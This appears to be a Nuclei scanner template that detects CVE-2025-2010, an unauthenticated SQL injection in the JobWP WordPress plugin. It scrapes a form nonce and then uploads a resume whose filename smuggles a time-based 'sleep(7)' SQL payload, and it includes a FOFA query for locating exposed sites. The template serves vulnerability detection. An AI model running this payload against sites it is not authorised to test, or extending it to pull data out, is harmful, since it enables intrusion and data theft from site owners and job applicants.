id: CVE-2025-2010

info:
  name: WordPress JobWP Plugin <= 2.3.9 - SQL Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    The JobWP - Job Board, Job Listing, Career Page and Recruitment Plugin plugin for WordPress is vulnerable to SQL Injection via the 'jobwp_upload_resume' parameter in all versions up to, and including, 2.3.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Successful exploitation could allow an attacker to execute arbitrary SQL queries, potentially leading to data exfiltration, privilege escalation, or other malicious activities.
  remediation: |
    Update the JobWP Plugin to version later than 2.3.9. Alternatively, implement proper input validation and sanitization controls.
  reference:
    - https://wpscan.com/vulnerability/26713902-26d8-47e3-b651-fe30d9898270/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2010
  classification:
    epss-score: 0.01549
    epss-percentile: 0.71822
    cve-id: CVE-2025-2010
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
    product: jobwp
    fofa-query: body="/wp-content/plugins/jobwp"
  tags: cve,cve2025,wp,wordpress,wp-plugin,sqli,jobwp,vuln

flow: http(1) && http(2)

variables:
  jobid: "{{jobid}}"

http:
  - raw:
      - |
        GET /jobs/{{jobid}}/ HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        name: nonce
        group: 1
        regex:
          - 'jobwp_apply_form_nonce_field" value="([a-z0-9]+)"'
        internal: true

  - raw:
      - |
        @timeout: 30s
        POST /jobs/{{jobid}}/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEUzdqU65JI5EA04B

        ------WebKitFormBoundaryEUzdqU65JI5EA04B
        Content-Disposition: form-data; name="jobwp_apply_form_nonce_field"

        {{nonce}}
        ------WebKitFormBoundaryEUzdqU65JI5EA04B
        Content-Disposition: form-data; name="x"

        /jobs/{{jobid}}/
        ------WebKitFormBoundaryEUzdqU65JI5EA04B
        Content-Disposition: form-data; name="jobwp_apply_for"

        x
        ------WebKitFormBoundaryEUzdqU65JI5EA04B
        Content-Disposition: form-data; name="jobwp_full_name"

        x
        ------WebKitFormBoundaryEUzdqU65JI5EA04B
        Content-Disposition: form-data; name="jobwp_email"

        x@x.com
        ------WebKitFormBoundaryEUzdqU65JI5EA04B
        Content-Disposition: form-data; name="jobwp_cover_letter"

        x
        ------WebKitFormBoundaryEUzdqU65JI5EA04B
        Content-Disposition: form-data; name="jobwp_upload_resume"; filename="xxxxxx\"*sleep(7)*\".pdf"
        Content-Type: application/pdf

        x
        ------WebKitFormBoundaryEUzdqU65JI5EA04B--

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - "status_code == 200"
          - "contains_all(body, 'jobwp-', 'apply-')"
        condition: and
# digest: 4a0a0047304502206ca2ef56381ceabd328e815e6fb8af975eced05bde9c4ba25248da64558badbb022100c1c2d5aef55728cd922afec727f9d63481acd57a804502e1faf2909c9e3cffa2:922c64590222798bb761d5b6d8e72950